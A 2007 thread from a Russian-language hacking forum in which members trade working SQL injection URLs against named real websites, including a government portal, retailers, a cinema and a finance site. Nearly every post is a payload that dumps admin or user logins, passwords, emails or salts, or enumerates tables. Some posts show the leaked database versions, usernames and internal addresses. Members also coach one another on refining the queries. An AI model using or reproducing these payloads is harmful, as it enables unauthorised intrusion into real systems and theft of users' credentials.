HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 09.12.2007, 20:52
SWAT
Участник форума
Регистрация: 14.12.2006
Сообщений: 211
Провел на форуме:
1541753

Репутация: 552
По умолчанию

Код:
http://www.acte.org/resources/press_release.php?id=-91+union+select+1,2,3,concat(id,0x3a,login,0x3a,password),5,6,7,8,9+from+users/*
Код:
http://www.dswd.gov.ph/faqdetails.php?id=-47+union+select+1,concat(ID,0x3a,username,0x3a,password),3,4,5,6+from+P_admin/*
Код:
http://www.bactravel.it/centri/schede.php?id=-9+union+select+1,VERSION(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*

Последний раз редактировалось SWAT; 09.12.2007 в 21:18..
 
Ответить с цитированием

  #2  
Старый 10.12.2007, 01:52
Momiji
Постоянный
Регистрация: 25.08.2007
Сообщений: 530
Провел на форуме:
3926698

Репутация: 1446


По умолчанию

Первая инъекция, сильно не ругайте
Код:
http://www.malco.com/index.php?page=movie_cinema&movie_id=1993+union+select+database(),2,VERSION(),user(),5,6,7,8,9,10/*
Код:
http://www.malco.com/index.php?page=movie_cinema&movie_id=1993+union+select+1,name,3,4,5,6,7,8,9,10+from+users+where+name=admin/*

Последний раз редактировалось Momiji; 10.12.2007 в 02:00..
 
Ответить с цитированием

  #3  
Старый 10.12.2007, 02:09
~EviL~
Участник форума
Регистрация: 14.08.2007
Сообщений: 150
Провел на форуме:
686641

Репутация: 205
По умолчанию

Немного доработал, от меня такой вариант:
Код HTML:
http://www.malco.com/index.php?page=movie_cinema&movie_id=1993+union+select+concat(name,0x3a,email),2,3,4,5,6,7,8,9,10+from+users/*
 
Ответить с цитированием

  #4  
Старый 10.12.2007, 02:11
BlackCats
Постоянный
Регистрация: 01.02.2006
Сообщений: 970
Провел на форуме:
9254548

Репутация: 1942


По умолчанию

убийствеенная скуля в mssql(это всё одна скуля) тут выводить не стал, т.к. то что вывел для себя- всеравно не подошло.

Код:
http://www.cerclefinance.com/default.asp?pub=valactu&localcode=&isin=&art=1+or+1=(SELECT+TOP+1+TABLE_NAME
+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('REFERENTIAL_CONSTRAINTS','ficcf13000EMAILS'
,'Portrait_Type','site','CHECK_CONSTRAINTS','CONSTRAINT_TABLE_USAGE','Pays_Calsta','cf_stat_1','CONSTRAINT_COLUMN_USAGE'
,'non_membres'','VIEWS','compteur_connexions',,)'VIEW_TABLE_USAGE','VIEW_COLUMN_USAGE','calendrier_stat','audit_lignes'
,'Sondage_Trace','dtproperties','valtop','Interview','articles','Hard-Bounces','Dossier_Lexique','exception','Interview_Futur','utilisateur'
,'emailing_tmp','cp_20070426','pays','Dossier','alerte_env','email_env','menu_profil','habilitation_journaliste','questions','articles_test'
,'newsvaleurlast','envoi','Interview_Type','avis_des_brokers','type_article','PROFIL','format','menu','Conseils','desabonne','t_jiaozhu',
'email_SNCF','articles_sauv','Dossier_Theme','ICB','popup','Economic_group','CF_ibase','accnew','tmpemail','newsvaleur','stocksname',
'nospam','aide','Dep','membres_relance','emailing_Effidata','CF_vue_nb_mails','forum2','concours','enquete','CmdShell','pop_email'
,'seuils_et_resistances','parties_payantes','DossiersTMP','calendrier_ste','concours_oct2001_questions','eco_group','cookies','Contacts_CP'
,'liens_articles','ENTREPRISE',''Interview_Bio','emailing_tmp_Himedia','essai','membres_email_faux','concours_oct2001_reponses','newshebdo'
,'mailing_cpr','images','initiation','KEY_COLUMN_USAGE','markviral','CreaFinance_Mails','morning_env','membres','CONSULTATION_ARTICLE'
,'DateXML5','nokia','membres3','articles_2003','noms','env_tmp_atos_sg','noms2','Valeur_perso','avisdesbrokers','pub','stats','non_membres
_email_faux','concours_oct2001_participants','valtopbs','habilitation','JOUR_FERIE','forum','ibase_20070122','Interview_QR','type_xml','FTP_Trace',
'groupe_menu','tmpemail2','nochronique','articles_2002','EMail_20060616','fondamentaux','emailing_tmp_ibase','invalides','ficcfp','OST','stat_membres
','secteur','Sondage_Proposition','utilisateurs_click_and_buy','Sondage','syssegments','situation','sysconstraints','sysalternates','etudes'
,'SCHEMATA','TABLES','membres_v2','TABLE_CONSTRAINTS','FauxEmails','TABLE_PRIVILEGES','COLUMNS','centre','COLUMN_DOMAIN_USAGE'
,'COLUMN_PRIVILEGES','DOMAINS','Portrait','DOMAIN_CONSTRAINTS','invalides_20071129','recommandations'))--

Последний раз редактировалось BlackCats; 10.12.2007 в 21:18..
 
Ответить с цитированием

  #5  
Старый 10.12.2007, 07:33
fRg
Участник форума
Регистрация: 28.12.2006
Сообщений: 111
Провел на форуме:
500695

Репутация: 524
По умолчанию

Для Mike007

Когда начнём стараться?!
Код:
http://www.dualtime.ru/page.php?n=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4/*
4.0.27:replica_db0:replica_db0@88.214.192.30
Код:
http://www.mywatches.ru/page.php?n=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4/*
5.0.45-log:u80484:u80484@10.10.223.245
Код:
http://www.atlantic-time.ru/page.php?n=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4/*
5.0.45-log:u48597:u48597@10.10.223.217
 
Ответить с цитированием

  #6  
Старый 10.12.2007, 12:43
Momiji
Постоянный
Регистрация: 25.08.2007
Сообщений: 530
Провел на форуме:
3926698

Репутация: 1446


По умолчанию

Тут можно вынести всю базу:
Код:
http://www.3roms.com/index.php?page=rom_dl&rid=-1'+union+select+1,concat(username,0x3a,password),icq,4,5,6,7,convert(concat(user(),0x3,version(),0x3,database())+using+latin1),9,10,11,12+from+user+limit+1,2/*
Хеш с солью
Код:
http://www.3roms.com/index.php?page=rom_dl&rid=-1'+union+select+1,concat(username,0x3,password,0x3a,salt),icq,4,5,6,7,convert(concat(user(),0x3,version(),0x3,database())+using+latin1),9,10,11,12+from+user+limit+1,2/*

Последний раз редактировалось Momiji; 10.12.2007 в 21:50..
 
Ответить с цитированием

  #7  
Старый 10.12.2007, 13:28
Saint-Sky
Участник форума
Регистрация: 14.07.2007
Сообщений: 108
Провел на форуме:
1888785

Репутация: 305
По умолчанию

2 Momiji

Там хеш соленый, добавь в запрос "salt".
 
Ответить с цитированием

  #8  
Старый 10.12.2007, 18:38
fRg
Участник форума
Регистрация: 28.12.2006
Сообщений: 111
Провел на форуме:
500695

Репутация: 524
По умолчанию

Чёт постов маловато....

silla.dk
Код:
http://www.silla.dk/nyhed.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5/*
4.0.18-nt:silla1:silla@cher

balatonfured.hu
Код:
http://www.balatonfured.hu/prg/nc/hirdomping2.php?&hir_lang=1&hir_akthely=61&hir_rovatid=116   &hir_hirid=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10/*
5.0.32-Debian_7etch1-log:balaton_admin:cece@innovex.veszprem.hu

Наша таба admins и в ней поля a_login_name и a_login_password

Усё...
 
Ответить с цитированием

  #9  
Старый 10.12.2007, 18:45
Basurman
Постоянный
Регистрация: 10.11.2006
Сообщений: 416
Провел на форуме:
5636868

Репутация: 849
По умолчанию

BlackCats, ты реально извращенец )

Код:
1+or+1=(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+(select+top+50+table_name+from+information_schema.tables))--
 
Ответить с цитированием

  #10  
Старый 10.12.2007, 22:36
min7
Участник форума
Регистрация: 03.09.2005
Сообщений: 123
Провел на форуме:
1896022

Репутация: 259
По умолчанию

Код:
http://www.tampereenpyrinto.fi/news.php?id=-77+union+select+1,2,concat_ws(char(58,58),user(),database(),version()),4,5,6,7/*
w8115768db@10.0.8.84::w8115768db::5.0.21
правда тормозит по-страшному
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.